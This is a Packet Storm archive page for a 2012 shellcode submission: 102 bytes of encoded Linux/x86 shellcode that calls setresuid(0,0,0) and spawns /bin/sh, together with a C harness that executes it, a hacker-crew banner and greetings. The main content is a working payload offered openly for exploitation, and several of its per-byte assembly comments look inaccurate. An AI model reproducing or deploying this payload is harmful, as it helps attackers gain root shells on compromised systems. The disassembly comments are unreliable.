what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) Shellcode

Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) Shellcode
Posted Jan 15, 2012
Authored by KedAns-Dz

102 bytes small Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 79f5781728e64d7959353df2c015bfe36ef3dc5b859a8118528732c5de92dade

Linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) Shellcode

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
###
# Title : linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) - 102 bytes (coded)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com
# Facebook : http://facebook.com/KedAns
# platform : linux/x86
# Type : Shellcode - 102 Bytes (encoded)
# Tested on : Linux.(Ubuntu 10.10) En
###

##
# I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_*
##

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |
# | ------------------------------------------------- < |
##

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char sc[] =
"\x31\xDB" // xor %ebx,%ebx
"\x8D\x43\x0D" // lea %eax,%ebx
"\xCD\x80" // int $0x80
"\x66\x31\xC0" // xor %ax,%ax
"\xDB\xD1" // fcmovne %st,%st
"\x33\xC9" // xor %ecx,%ecx
"\xB1\x11" // mov %cl,$0x11
"\xD9\x74\x24\xF4" // fstenv %esp
"\x5B" // pop %ebx
"\x83\xC3\x04" // add %ebx,$0x04
"\x31\x43\x11" // xor dword %ebx $0x11,%eax
"\x03\x43\x11" // add %eax,dword %ebx $0x11
"\xE2\xF5" // loopd short (from me)
"\x31\xC9" // xor %ecx,%ecx
"\x31\x2E\xC6" // xor dword %esi,%ebp
"\x2A\x81\x74\xE4\x2D\x88" // sub al,%ecx $0x882DE474
"\xAF" // scas dword,%edi
"\x9D" // popfd
"\x3A\x4C\x82\xE2" // cmp %cl,%edx,%eax
"\x2F" // das
"\x67\x44" // inc %esp
"\x7A\xFD" // jpe short (from me)
"\x11\x1C\x51" // adc dword %ecx,%edx,%ebx
"\x61" // popad
"\x57" // push %edi
"\x3B\xC1" // cmp %eax,%ecx
"\x4A" // dec %edx
"\x14\xAB" // adc %al,$0xAB
"\x12\xFD" // adc %bh,%ch
"\xF5" // cmc
"\x49" // dec %ecx
"\x7A\x93" // jpe short (me)
"\x80\x6E\x2E\x83" // sub %esi,$0x2E,$0x83
"\x9B" // wait
"\x70\xCF" // jo short (me)
"\x53" // push %ebx
"\xB3\x12" // mov %bl,$0x12
"\xA6" // cmps %esi,%edi
"\x3D\xE4\xA1\x50\xC2" // cmp %eax,$0xC250A1E4
"\xAD" // lods dword %esi
"\x16" // push ss
"\x28\x23" // sub %ebx,%ah
"\x9C" // pushfd
"\x18\x1B" // sbb %ebx,%bl
"\x7F\x75" // jg short
"\x19\x04\xB2" // sbb dword %edx %esi,%eax
"\x0A\x00"; // or %al,%eax

int main()
{
int (*dz)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
dz();
}

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close